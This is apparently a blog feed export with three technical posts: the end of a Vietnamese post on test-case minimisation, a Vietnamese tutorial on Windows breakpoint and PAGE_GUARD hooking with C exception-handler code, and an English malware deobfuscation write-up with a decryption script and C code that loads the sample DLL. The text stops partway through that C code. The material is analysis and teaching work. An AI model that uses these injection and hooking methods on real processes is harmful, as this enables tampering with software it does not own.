<p>Ta có phương pháp tối ưu testcase đơn giản, thông qua 3 bước sau:</p>
<ul>
  <li>Xóa bỏ lần lượt các đoạn trong testcase ban đầu nhằm sinh testcase mới</li>
  <li>Test thử với chương trình</li>
  <li>Chỉ giữ lại các testcase có kích thước nhỏ, trùng với testcase ban đầu</li>
</ul>

<h2 id="cần-phải-xóa-bao-nhiêu-đoạn-trong-testcase">Cần phải xóa bao nhiêu đoạn trong testcase?</h2>
<ul>
  <li>Số đoạn xóa đi phải đủ nhỏ để xác suất có testcase trùng là cao nhất. Hiển nhiên rằng nếu các bạn xóa càng ít đoạn, thì xác suất xóa phải đoạn không liên quan càng cao, testcase càng có xác suất lớn để trùng.</li>
  <li>Số đoạn xóa đi phải đủ lớn để giảm thời gian tối ưu. Hiển nhiên rằng nếu càng xóa nhiều đoạn, testcase càng nhỏ.</li>
</ul>

<p><strong>Con số bao nhiêu là hợp lý????</strong></p>

<p>Giả sử cắt bỏ x đoạn mã trong testcase ban đầu (có N đoạn mã):</p>

<p>Xác suất để cắt bỏ 1 đoạn mã nhưng vẫn được testcase trùng ≈ 100%</p>

<p>Xác suất cắt bỏ đoạn mã thứ 2 nhưng vẫn được testcase trùng (1 – 1/N)</p>

<p>Xác suất cắt bỏ đoạn mã thứ 3 nhưng vẫn được testcase trùng (1 – 2/N)</p>

<p>…</p>

<p>Xác suất cắt bỏ đoạn mã thứ x nhưng vẫn được testcase trùng (1 – (x-1)/N)</p>

<p><em>Xác suất để cắt bỏ x đoạn mã nhưng vẫn được testcase trùng</em></p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_equation.png" alt="equation" /></p>

<p>Rõ ràng, đây là một phương trình khá khó giải và tôi cũng không phải người giỏi toán để đưa ra đáp án chính xác. Chúng ta lại dùng các công thức ước lượng được mô tả trong sách giáo khoa: <strong>Công thức xấp xỉ Taylor</strong></p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_taylor.png" alt="Taylor" /></p>

<p>Tiếp tục:</p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_xap_xi.png" alt="Taylor" /></p>

<p>Nói cách khác, với N là số đoạn code, p là xác suất được lựa chọn, thì chúng ta có x là số đoạn code cần chọn ngẫu nhiên để testcase mới trùng với testcase cũ.</p>

<p>Nếu chúng ta giả định p = 0.5 = 50%, thay thế vào công thức tính xác suất ban đầu, ta có được công thức cuối cùng:</p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_xap_xi2.png" alt="Taylor" /></p>

<p>hay nói cách khác, x xấp xỉ bằng <strong>1.17741*sqrt(N)</strong>, có thể coi là <strong>sqrt(N)</strong>.</p>

<p>Như vậy, nếu chúng ta cắt đi <code class="language-plaintext highlighter-rouge">sqrt(N)</code> đoạn mã trong N đoạn mã, thì xác suất xảy ra testcase trùng sẽ lớn hơn 50%. Độ phức tạp thuật toán là O(n). Do số lượng đoạn được cắt đi lớn khi N lớn, tốc độ hội tụ của thuật toán này được cải thiện đáng kể so với việc tối ưu tuần tự. Một kết luận rất ngắn và đơn giản phải không?</p>

<p>Nếu chúng ta chọn N là 3000 đoạn mã.</p>

<p>Trục Y là số đoạn mã được loại bỏ.</p>

<p>Trục X là xác suất xảy ra trùng nhau</p>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_3000.png" alt="3000" /></p>

<h2 id="kết-luận">Kết luận</h2>

<p>Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với môn toán cũng như phương pháp ứng dụng các bài toán “ngày xửa ngày xưa” vào các vấn đề trong công việc hiện tại. Nét đẹp của toán học sẽ chỉ phát huy khi chúng được đặt vào đúng tình huống cụ thể. Đừng để các bài toán của các bạn chỉ nằm trên giấy./.</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Level_1" /><summary type="html"><![CDATA["Học Toán để làm gì?". Tôi muốn bắt đầu bài viết này bằng một câu hỏi mà rất nhiều lập trình viên trẻ tuổi, những người đang đi học hoặc đã đi làm luôn thắc mắc. Vấn đề này anh Dương Ngọc Thái, một trong những hacker giỏi nhất Việt Nam, hiện đang làm việc cho Google tại Mỹ đã trao đổi khá nhiều lần. Tôi cũng có vài lần trao đổi với anh và rút ra rằng: Những điều tưởng chừng như rất phức tạp có thể giải được bằng các bài toán mà chúng ta đã học - từ những thầy giáo của chúng ta, thậm chí là những bài trong sách giáo khoa - nhưng chưa thật sự vận dụng chúng.]]></summary></entry><entry><title type="html">An In-depth Look: Windows Memory Hooking</title><link href="https://develbranch.com/tutorials/windows-memory-hooking.html" rel="alternate" type="text/html" title="An In-depth Look: Windows Memory Hooking" /><published>2019-06-06T17:00:00+00:00</published><updated>2019-06-06T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/windows-memory-hooking</id><content type="html" xml:base="https://develbranch.com/tutorials/windows-memory-hooking.html"><![CDATA[<h2 id="kêu-gọi-tài-trợ">Kêu gọi tài trợ</h2>
<p>Xin chào tất cả các bạn độc giả thân mến!</p>

<p>Tôi viết bài viết này với mong muốn có thể đóng góp một chút công sức của mình cho cộng đồng an toàn thông tin Việt Nam. Tôi cũng mong muốn các bạn có thể đóng góp cho cộng đồng giống như tôi, nhưng bằng vật chất: Quỹ <a href="https://www.facebook.com/comcothit/">Cơm có thịt</a> <a href="http://tnvc.vn/">http://tnvc.vn/</a> đang cần sự giúp đỡ của cộng đồng hơn ai hết. Số tiền ủng hộ từ bài viết trước đã đủ cho develbranch.com duy trì mọi thứ trong năm. Quỹ cơm có thịt cần nhiều hơn develbranch. Đúng như tên gọi của nó, <em>Cơm có thịt</em> đem đến niềm vui, hạnh phúc với các em nhỏ vùng cao ngoan hiền, đang sống ở những nơi nghèo khó, bằng những đóng góp nho nhỏ - ít thôi nhưng đều đặn. Tôi rất thích câu nói này của ông Trần Đăng Tuấn: “Nếu bạn đồng hành cùng Cơm Có Thịt, thì đó chỉ là do mệnh lệnh từ trái tim của bạn”. Nếu có thể được, tôi mong các bạn hãy ủng hộ trực tiếp cho Quỹ (đừng trung gian qua tôi).</p>

<p><img src="/assets/2019/06/com_co_thit.jpg" alt="Cơm có thịt" /></p>

<h2 id="giới-thiệu">Giới thiệu</h2>
<p><strong>Hooking</strong> có lẽ không còn xa lạ với nhiều người làm trong lĩnh vực phần mềm nói chung và an toàn thông tin nói riêng. Hiểu theo cách đơn giản: Hooking là một phương pháp, hoặc 1 cách làm thay đổi luồng hoạt động của chương trình. Mục đích của việc thay đổi này có thể để ghi log, đánh dấu luồng hoạt động hoặc kiểm soát input cũng như output của một hàm, một đoạn mã hoặc một lệnh bất kì trong chương trình.</p>

<p>Trong bài viết này, tôi sẽ viết về kĩ thuật hooking trên nền tảng Microsoft Windows.</p>

<p><strong><em>Ví dụ</em></strong>: Chúng ta có một hàm đơn giản sau: Hàm này làm nhiệm vụ cộng 2 số.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>int add(int a, int b) {
	return a + b;
}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Khi biên dịch ra mã máy, mã chương trình có thể giống như sau (các mã khác nhau phụ thuộc nhiều vào trình biên dịch). Trong ví dụ này, tôi giả định tôi biên dịch chương trình bằng trình biên dịch 32bit:</p>

<p>Nếu biên dịch tối ưu, có thể viết như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>mov  eax, dword ptr [esp + 4] ;  first parameter
add  eax, dword ptr [esp + 8] ;  second parameter
ret
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Hoặc tường minh hơn, chúng ta viết:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>0| mov  edi, edi
1| push ebp 
2| mov  ebp, esp
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong><em>Tình huống 1</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 2.</p>

<p><strong><em>Tình huống 2</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 5</p>

<p>Phương pháp hook thường thấy nhất là chúng ta sẽ thiết lập 1 lệnh nhảy không điều kiện (JMP) tới đoạn code chứa các lệnh kiểm tra. Sau khi thực hiện xong đoạn code mới này, chúng ta sẽ thực hiện nhảy không điều kiện 1 lần nữa về đoạn code ban đầu.</p>

<p><strong><em>Tình huống 1</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input:
Đoạn code trên cần bị thay đổi thành đoạn code dưới đây</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>0| jmp  CHECKING_PARAMETER
3| ADD_NUMBERS:
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret
7|
8| CHECKING_PARAMETER:
   ;; kiểm tra nội dung 2 tham số ở đây
   ;  Thực thi các lệnh ban đầu, giống như chưa bị Hook
   mov  edi, edi
   push ebp 
   mov  ebp, esp
9| jmp ADD_NUMBERS

</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong><em>Tình huống 2</em></strong>: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre> 0| mov  edi, edi
 1| push ebp 
 2| mov  ebp, esp
 3| mov  eax, dword ptr [ebp +  8] ;  first parameter
 4| add  eax, dword ptr [ebp + 12] ;  second parameter
 5| pop  ebp
 6| JMP  CHECK_RESULT 
 7|
 8|
 9| CHECK_RESULT:
10| ;; Kiểm tra dữ kiệu trả về ( Nội dung thanh ghi eax )
    ;; Thực thi các lệnh ban đầu, giống như chưa bị Hook
11|	ret
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Rõ ràng, trong cả hai tình huống trên, chúng ta cần thay đổi đáng kể đoạn code ban đầu, để có thể thêm các lệnh nhảy không điều kiện nhằm chuyển hướng thực thi và làm nhiệm vụ mà chúng ta cần. Câu hỏi đặt ra:</p>
<ul>
  <li>Nếu đoạn code quá nhỏ, không đủ cho một lệnh JMP thì sao?</li>
  <li>Trong trường hợp đoạn code bị kiểm tra để phát hiện sự thay đổi thì sao? Ví dụ đoạn code bị check CRC liên tục?</li>
</ul>

<p>Để giải quyết hai vấn đề này, tôi sẽ trình bày hai phương pháp dưới đây.</p>

<h2 id="breakpoint-hooking">Breakpoint hooking</h2>

<p>Đối với các đoạn code nhỏ, ví dụ các block code chỉ có 1 tới 4 bytes, chúng ta không có đủ chỗ cho một lệnh nhảy. Một lệnh JMP không điều kiện cần 5 bytes. Chúng ta có thể nghĩ tới phương pháp Breakpoint hooking. Cách thức thực hiện như sau:</p>
<ul>
  <li>Inject một DLL vào không gian bộ nhớ của tiến trình.</li>
  <li>Cài đặt một Vector xử lý Exception (Exception handler)</li>
  <li>Chuyển hướng thực thi bên trong Exception handler</li>
  <li>Inject ngắt <code class="language-plaintext highlighter-rouge">int3</code> (opcode là 0xCC, độ dài chỉ 1 byte) vào vị trí cần hook. Hoặc dùng các hàm sau để inject code: <code class="language-plaintext highlighter-rouge">OpenProcess</code>, <code class="language-plaintext highlighter-rouge">VirtualProtectEx</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>. Đây là các thao tác đơn giản, tôi xin dành cho bạn đọc.</li>
</ul>

<p>Trong quá trình thực thi, khi thực thi đến lệnh <code class="language-plaintext highlighter-rouge">int 3</code>, hệ thống sẽ phát sinh ra exception. Mã của exception này là <code class="language-plaintext highlighter-rouge">STATUS_BREAKPOINT</code>. Bên trong hàm handler, chúng ta cần kiểm tra giá trị của thanh ghi EIP/RIP. Nếu giá trị này là hàm đang cần hook, chúng ta gán lại giá trị mới cho thanh ghi EIP/RIP. Sau khi thực thi xong, chúng ta cần khôi phục lại ngữ cảnh cũ: Nội dung các thanh ghi và thực thi lệnh cũ. Nên nhớ rằng trước khi patch int3, chúng ta phải lưu lại toàn bộ instruction cũ, để sau này còn dùng lại khi thực thi chương trình.</p>

<p>Hàm xử lý:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
	{
		if (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_BREAKPOINT) // This is going to return true whenever any of our int3 is executed.
		{
			DWORD dwNewLocation = GetNewLocation(pExceptionInfo-&gt;ContextRecord-&gt;Eip); // EIP contains the current location
			if (dwNewLocation != (DWORD_PTR)-1) // Here we check to see if the instruction pointer is at the place where we want to hook.
			{
				pExceptionInfo-&gt;ContextRecord-&gt;Eip = dwNewLocation;
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
		return EXCEPTION_CONTINUE_SEARCH;
	}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Cài đặt handler:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>PVOID g_ExceptionHandle = NULL;
g_ExceptionHandle = AddVectoredExceptionHandler(1, HookExceptionFilter);
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Remove Handler:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>RemoveVectoredExceptionHandler(g_ExceptionHandle);
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="pageguard-hooking">PageGuard Hooking</h2>

<p>Đối với các đoạn code bị check CRC liên tục, chúng ta sẽ không được phép thay đổi một byte nào trong đoạn code gốc. Phương pháp này thực hiện như sau:</p>
<ul>
  <li>Inject một DLL vào không gian bộ nhớ của tiến trình.</li>
  <li>Cài đặt một Vector xử lý Exception (Exception handler).</li>
  <li>Đổi thuộc tính của page chứa vùng code cần hook thành <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> hoặc <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code>. Dùng VirtualProtect</li>
  <li>Chuyển hướng thực thi bên trong Exception handler</li>
</ul>

<p>Bất khi nào code được thực thi trong vùng nhớ bị đánh dấu là <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code>, hệ thống sẽ sinh ra một exception. Bên trong hàm kiểm tra Exception handler, chúng ta cần kiểm tra địa chỉ đang thực thi. Nếu địa chỉ đó là địa chỉ hàm cần hook, chúng ta chuyển hướng nó tới hàm đích.</p>

<p>Cần lưu ý:</p>

<ol>
  <li>Thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> sẽ tự động bị xóa khi phát sinh exception. Do đó để tiếp tục hook, chúng ta cần thiết lập lại thuộc tính này cho vùng nhớ đó.</li>
  <li>Có thể dùng thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code>. Hệ thống sẽ sinh <code class="language-plaintext highlighter-rouge">STATUS_ACCESS_VIOLATION</code> khi chúng ta thực thi đoạn code.</li>
  <li><code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code> Đây không hẳn là một lỗi, để có thể coi là một exception. <code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code> được sinh ra khi một lệnh được thực thi (giống như đang bị debug).</li>
</ol>

<p><strong><em>Tại sao chúng ta cần STATUS_SINGLE_STEP?</em></strong></p>

<p>Một hàm sẽ nằm trong 1 page, nhưng điểm bắt đầu của hàm thì chưa hẳn là nằm ở đầu page. Trong trường hợp một đoạn code - không phải đoạn code cần hook - nhưng nằm cùng page với đoạn code cần hook thực thi, nó cũng sinh ra exception. Rõ ràng đây không phải là điều chúng ta mong muốn. Chúng ta cần là thiết lập lại thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> hoặc <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code> như trước. Vấn đề lại tiếp tục xảy ra, đoạn code sinh exception liên tục nhưng không thực thi. Để giải quyết, chúng ta cần bật cờ <code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code>. Lúc này, chương trình sẽ tiếp tục thực thi nhưng sẽ liên tục gọi vào hàm handler của chúng ta với mã của exception là <code class="language-plaintext highlighter-rouge">STATUS_SINGLE_STEP</code>. Chúng ta sẽ kiểm tra giá trị của thanh ghi <code class="language-plaintext highlighter-rouge">EIP</code>, nếu đúng hàm cần hook thì sẽ thiết lập thuộc tính <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code> hoặc <code class="language-plaintext highlighter-rouge">PAGE_NOACCESS</code> như trước.</p>

<p>Code và hình vẽ tôi tham khảo ở <a href="https://guidedhacking.com/threads/veh-hooking-aka-pageguard-hooking-an-in-depth-look.7164/">https://guidedhacking.com/threads/veh-hooking-aka-pageguard-hooking-an-in-depth-look.7164/</a></p>

<p><img src="/assets/2019/06/veh_hooking_page.png" alt="Memory page" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="rouge-code"><pre>DWORD dwOld;
VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &amp;dwOld); // This sets the protection for whatever memory page that 0x08048fb7 is located in to PAGE_EXECUTE &amp; PAGE_GUARD.
                                                                          // Which is going to cause an exception for any address accessed in that memory page, including the one we're after.

AddVectoredExceptionHandler(1, HookExceptionFilter); // Registers our vectored exception handler which is going to catch the exceptions thrown.
 
LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
{
    if (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) // This is going to return true whenever any of our PAGE_GUARD'ed memory page is accessed.
    {
        if (pExceptionInfo-&gt;ContextRecord-&gt;Eip == 0x08048fb7) // Here we check to see if the instruction pointer is at the place where we want to hook.
        {
            dwJmpBack = (DWORD*)(pExceptionInfo-&gt;ContextRecord-&gt;Esp + 0); // Find the return address for the JMP/EIP back into the target program's code.
            dwJmpBack = (DWORD)pExceptionInfo-&gt;ContextRecord-&gt;Eip + 5; // or just skip X number of bytes.
            pExceptionInfo-&gt;ContextRecord-&gt;Eip = (DWORD)hkFunction; // Point EIP to hook handle.
        }
     
        pExceptionInfo-&gt;ContextRecord-&gt;EFlags |= 0x100; //Set single step flag, causing only one line of code to be executed and then throwing the STATUS_SINGLE_STEP exception.
     
        return EXCEPTION_CONTINUE_EXECUTION; // When we return to the page, it will no longer be PAGE_GUARD'ed, so we rely on single stepping to re-apply it. (If we re-applied it here, we'd never move forward.)
    }
     
    if (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_SINGLE_STEP) // This is now going to return true on the next line of execution within our page, where we re-apply PAGE_GUARD and repeat.
    {
        DWORD dwOld;
        VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &amp;dwOld);
     
        return EXCEPTION_CONTINUE_EXECUTION;
    }
     
    return EXCEPTION_CONTINUE_SEARCH;
}
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="kết-luận">Kết luận</h2>
<p>Qua bài viết vừa rồi, tôi hi vọng rằng các bạn có thể thực hiện hook một số hàm đặc biệt các hàm có kích thước nhỏ, hoặc không thể hook tường minh:</p>

<ul>
  <li>Xác định vị trí cần hook</li>
  <li>Cài đặt exception handle và đổi thanh ghi EIP/RIP thành địa chỉ mới.</li>
  <li>Inject ngắt 3 hoặc thay đổi thuộc tính của page thành <code class="language-plaintext highlighter-rouge">PAGE_GUARD</code></li>
  <li>Xử lý chuyển hướng bên trong hàm handler</li>
</ul>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Hooking" /><summary type="html"><![CDATA[Hooking không phải là một khái niệm mới khi giải quyết các vấn đề trong lập trình. Tuy nhiên, nếu nhìn nó theo cách nghiêm túc hơn, hẳn rằng bạn cũng sẽ có những trải nghiệm thú vị giống như tôi. Nếu bạn thích bài viết này, hãy tài trợ.]]></summary></entry><entry><title type="html">Deobfuscate malware - English version</title><link href="https://develbranch.com/tutorials/deobfuscate-apt-malware-eng.html" rel="alternate" type="text/html" title="Deobfuscate malware - English version" /><published>2019-04-14T17:00:00+00:00</published><updated>2019-04-14T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/deobfuscate-apt-malware-eng</id><content type="html" xml:base="https://develbranch.com/tutorials/deobfuscate-apt-malware-eng.html"><![CDATA[<p>Original post: <a href="https://develbranch.com/tutorials/deobfuscate-apt-malware.html">https://develbranch.com/tutorials/deobfuscate-apt-malware.html</a></p>

<h2 id="introduction">Introduction</h2>
<p><img src="/assets/2019/03/files.PNG" alt="Malicious files" /></p>

<p>I get this malware sample from my friend. I will show my experience with packers and manual unpacking. All about behaviors of malware, I will present in a new article.</p>

<p><em><strong>1 minute for advertisement</strong>: If you have a similar sample, you may contact me by sending an email to <code class="language-plaintext highlighter-rouge">contact[at]develbranch.com</code> or my fanpage <a href="https://fb.com/develbranch">fb.com/develbranch</a>. I will help you and charge in case of necessity. If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal</em></p>

<h2 id="environment">Environment</h2>
<ul>
  <li>Windows 7 64 bit virtual machine. You can use windows 10.</li>
  <li>Hex-Rays IDA: <a href="https://www.hex-rays.com">https://www.hex-rays.com/</a></li>
  <li>A debugger: I love <a href="https://x64dbg.com/">x64dbg</a>.</li>
  <li>C++ compiler: I use Microsoft Visual Studio 2015. <a href="https://visualstudio.microsoft.com">https://visualstudio.microsoft.com/</a></li>
  <li>CFF Explorer: <a href="https://ntcore.com/?page_id=388">Explorer Suite</a></li>
</ul>

<h2 id="behavioral-analysis">Behavioral analysis</h2>
<p>In all steps of malware analysis, we have to perform behavioral analysis to predict malicious actions partly. To do this, we need:</p>
<ul>
  <li>The executable files of the malicious software and/or commands to run malicious code.</li>
  <li>Build exactly the environment where the malicious code will execute. For example: If the malicious code only runs on the windows server then you will never analyze the behavior if your environment is windows home.</li>
</ul>

<p>We just have 4 files, no more clue, and we can not execute malware in our system. We need to guess by ourselves!</p>

<h2 id="detailed-analysis">Detailed analysis</h2>
<p>I noticed that the <code class="language-plaintext highlighter-rouge">cachuri.dll</code> file was signed by Microsoft. I completely ignored this file.</p>

<p><img src="/assets/2019/03/cachuri.PNG" alt="Signature of cachuri" /></p>

<p>This file is a module of IIS cache. It is not a default installed module:</p>

<p><img src="/assets/2019/03/cachuri2.PNG" alt="cachuri" /></p>

<p><code class="language-plaintext highlighter-rouge">cachuri.dll</code> imports functions from <code class="language-plaintext highlighter-rouge">iisutil2.dll</code>, <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> does not have a valid signature.
<img src="/assets/2019/03/cachuri3.PNG" alt="Malicious files" /></p>

<p>The other files are not executable files at all. So we can guess: <code class="language-plaintext highlighter-rouge">cachuri.dll</code> will be loaded by the IIS server (inetsrv). After loading the <code class="language-plaintext highlighter-rouge">cachuri.dll</code>, malicious <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> is also loaded into the memory region of the process. <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> will probably use the remaining two files for some purpose. At this step, we still haven’t run malicious code, it’s just a guess.</p>

<h3 id="analyze-iisutil2dll">Analyze <code class="language-plaintext highlighter-rouge">iisutil2.dll</code></h3>
<p><img src="/assets/2019/03/iisutil2_ida.png" alt="Open iisutil2.dll" /></p>

<p>This file is obfuscated and it makes me be confused. This is the flow of program:</p>

<p>Find functions: <code class="language-plaintext highlighter-rouge">CreateFileW</code>, <code class="language-plaintext highlighter-rouge">ReadFile</code>, <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code></p>

<p><img src="/assets/2019/03/readfile.PNG" alt="Get procedure address" /></p>

<p>Open <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code> and read:</p>

<p><img src="/assets/2019/03/readfile2.PNG" alt="Read file" /></p>

<p>Decrypt code by using XOR</p>

<p><img src="/assets/2019/03/readfile3.PNG" alt="Decrypt" /></p>

<p><img src="/assets/2019/03/readfile4.PNG" alt="Decrypt" /></p>

<p>There is the structure of decrypted data:</p>
<ul>
  <li>the first DWORD: The size of uncompressed data</li>
  <li>Compressed data</li>
</ul>

<p><img src="/assets/2019/03/readfile5.PNG" alt="Decrypt" /></p>

<p>After that, the program uses <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code> to decompress data. This is the first layer of packer.</p>

<p>There is decryption code. Luckily, we have lznt1 decompressor from Google (https://twitter.com/nullandnull/status/772989022079586304).
 https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="s">'''Decrypt iisexpressshim.sdb'''</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">lznt1</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span>
	<span class="n">out</span> <span class="o">=</span> <span class="s">''</span>
	<span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
		<span class="n">out</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">index</span> <span class="o">%</span> <span class="mh">0xff</span><span class="p">))</span>
		<span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>
	<span class="k">return</span> <span class="n">out</span>

<span class="n">cdata</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s">'.decrypted'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">lznt1</span><span class="p">.</span><span class="n">decompress_data</span><span class="p">(</span><span class="n">cdata</span><span class="p">[</span><span class="mi">4</span><span class="p">:]))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Result</p>

<p><img src="/assets/2019/03/readfile6.PNG" alt="Decrypt" /></p>

<p>I notice that VirtualSize, RawSize and RawAddress are equal to 0 . We can calculate all VirtualSize, RawSize and RawAddress  by using VirtualAddress.</p>
<ul>
  <li>VirtualSize = RawSize = (VirtualAddress of the next section - VirtualAddress of this section)</li>
  <li>RawAddress = VirtualAddress</li>
</ul>

<p>After fixing it, we can load this file to IDA and check it. This is the main flow of this program: to replace export table of <code class="language-plaintext highlighter-rouge">cachuri.dll</code> with new malicious export table.</p>

<p>I try to debug but I don’t have an actor to trigger malicious code.</p>

<h3 id="analyze-iisexpressshimsdb">Analyze <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code></h3>
<p>I analyze <code class="language-plaintext highlighter-rouge">DllGetClassObject</code> and notice that malware uses directory name as a CLSID.</p>

<p><img src="/assets/2019/03/clsid_eng.PNG" alt="malware CLSID" /></p>

<p>To create a malicious object, we need a directory with a CLSID. There are main steps:</p>
<ul>
  <li>Create a directory and the name of directory is <code class="language-plaintext highlighter-rouge">{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}</code>. I choose it randomly.</li>
  <li>Use this code to create an object.
    <pre><code class="language-C"> CLSID    clsid_malware;
 LPVOID   ppv = NULL;
 HMODULE h = LoadLibraryA("cachuri.dll");
 DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
 HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
 hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
 printf("ppv = %p\n", ppv);
